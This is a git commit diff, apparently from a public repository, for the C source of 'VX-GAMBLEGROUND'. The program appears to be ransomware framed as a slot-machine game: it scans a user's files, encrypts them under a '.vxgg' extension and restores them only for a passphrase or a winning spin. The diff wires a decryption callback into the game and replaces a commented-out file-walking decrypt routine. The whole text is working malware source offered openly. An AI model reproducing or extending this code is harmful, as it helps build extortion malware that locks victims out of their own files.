summaryrefslogtreecommitdiff
path: root/src/VX-GAMBLEGROUND.c
diff options
context:
space:
mode:
author@syxhe <https://t.me/syxhe>2024-09-03 14:18:21 -0500
committer@syxhe <https://t.me/syxhe>2024-09-03 14:18:21 -0500
commit74f6e6577709d00306e336f5d824e01d7a107439 (patch)
tree5f4078f327d540893ea6867518f1764913e9f503 /src/VX-GAMBLEGROUND.c
parentbed4b90c91037dc4727303b241321c9af03b757a (diff)
DECRYPTION WORKS
Diffstat (limited to 'src/VX-GAMBLEGROUND.c')
-rw-r--r--src/VX-GAMBLEGROUND.c55
1 files changed, 8 insertions, 47 deletions
diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c
index 393ed48..7277844 100644
--- a/src/VX-GAMBLEGROUND.c
+++ b/src/VX-GAMBLEGROUND.c
@@ -130,6 +130,12 @@ int doslots(struct bullshit *stuff) {
130 130
131 doupdate(); 131 doupdate();
132 132
133 struct endeargs decryptargs = {
134 .flag = VXGG_DECRYPT,
135 .list = NULL,
136 .passphrase = stuff->passphrase
137 };
138
133 stuff->params = (struct params){ 139 stuff->params = (struct params){
134 .bannerwin = stuff->banner, 140 .bannerwin = stuff->banner,
135 .menu = stuff->menu, 141 .menu = stuff->menu,
@@ -137,6 +143,8 @@ int doslots(struct bullshit *stuff) {
137 .numspins = 3, 143 .numspins = 3,
138 .price = 1, 144 .price = 1,
139 .slots = &stuff->slots, 145 .slots = &stuff->slots,
146 .decrypt_callback = ende_wrapper,
147 .decrypt_args = (void*)&decryptargs
140 }; 148 };
141 149
142 handle_input(stuff->menuholder, stuff->menu, &stuff->params); 150 handle_input(stuff->menuholder, stuff->menu, &stuff->params);
@@ -165,45 +173,6 @@ int scanundencrypt(void *passed) {
165 return 0; 173 return 0;
166} 174}
167 175
168// int decrypt(void *args) {
169// struct sande *pass = (struct sande *)args;
170// pass->scanned = scanfiles(pass->STARTPATH, pass->cmp);
171// if(pass->scanned == NULL)
172// error(1, 0, "[VX-GAMBLEGROUND] Filescan broke");
173
174// int err = REG_NOERROR;
175// regex_t encext;
176// if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE)))
177// error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err);
178
179// int fd = -1;
180// for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) {
181// if(p->fullpath == NULL)
182// continue;
183
184// if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH)
185// continue;
186
187// fd = open(p->fullpath, O_RDWR);
188// if(fd < 0)
189// continue;
190// passencblock(fd, pass->passphrase);
191// close(fd);
192
193// // Once again my problems are solved by allocating shit instead of using static shit
194// char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname));
195// strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg")));
196// rename(p->fullpath, newname);
197// free(newname);
198// }
199
200// endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized
201// error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!");
202// exit(0);
203
204// return 0;
205// }
206
207 176
208 177
209int main(int argc, char *argv[]) { 178int main(int argc, char *argv[]) {
@@ -228,14 +197,6 @@ int main(int argc, char *argv[]) {
228 197
229 // Deal with decrypting flag 198 // Deal with decrypting flag
230 if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { 199 if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) {
231 // struct sande pass = {
232 // .cmp = alphasort,
233 // .passphrase = passphrase,
234 // .scanned = NULL,
235 // .STARTPATH = FILESCAN_START
236 // };
237 // decrypt((void*)&pass);
238
239 struct nodelist *files = NULL; 200 struct nodelist *files = NULL;
240 files = scanfiles(FILESCAN_START, alphasort); 201 files = scanfiles(FILESCAN_START, alphasort);
241 ENorDE_cryptvxgg(files, passphrase, VXGG_DECRYPT); 202 ENorDE_cryptvxgg(files, passphrase, VXGG_DECRYPT);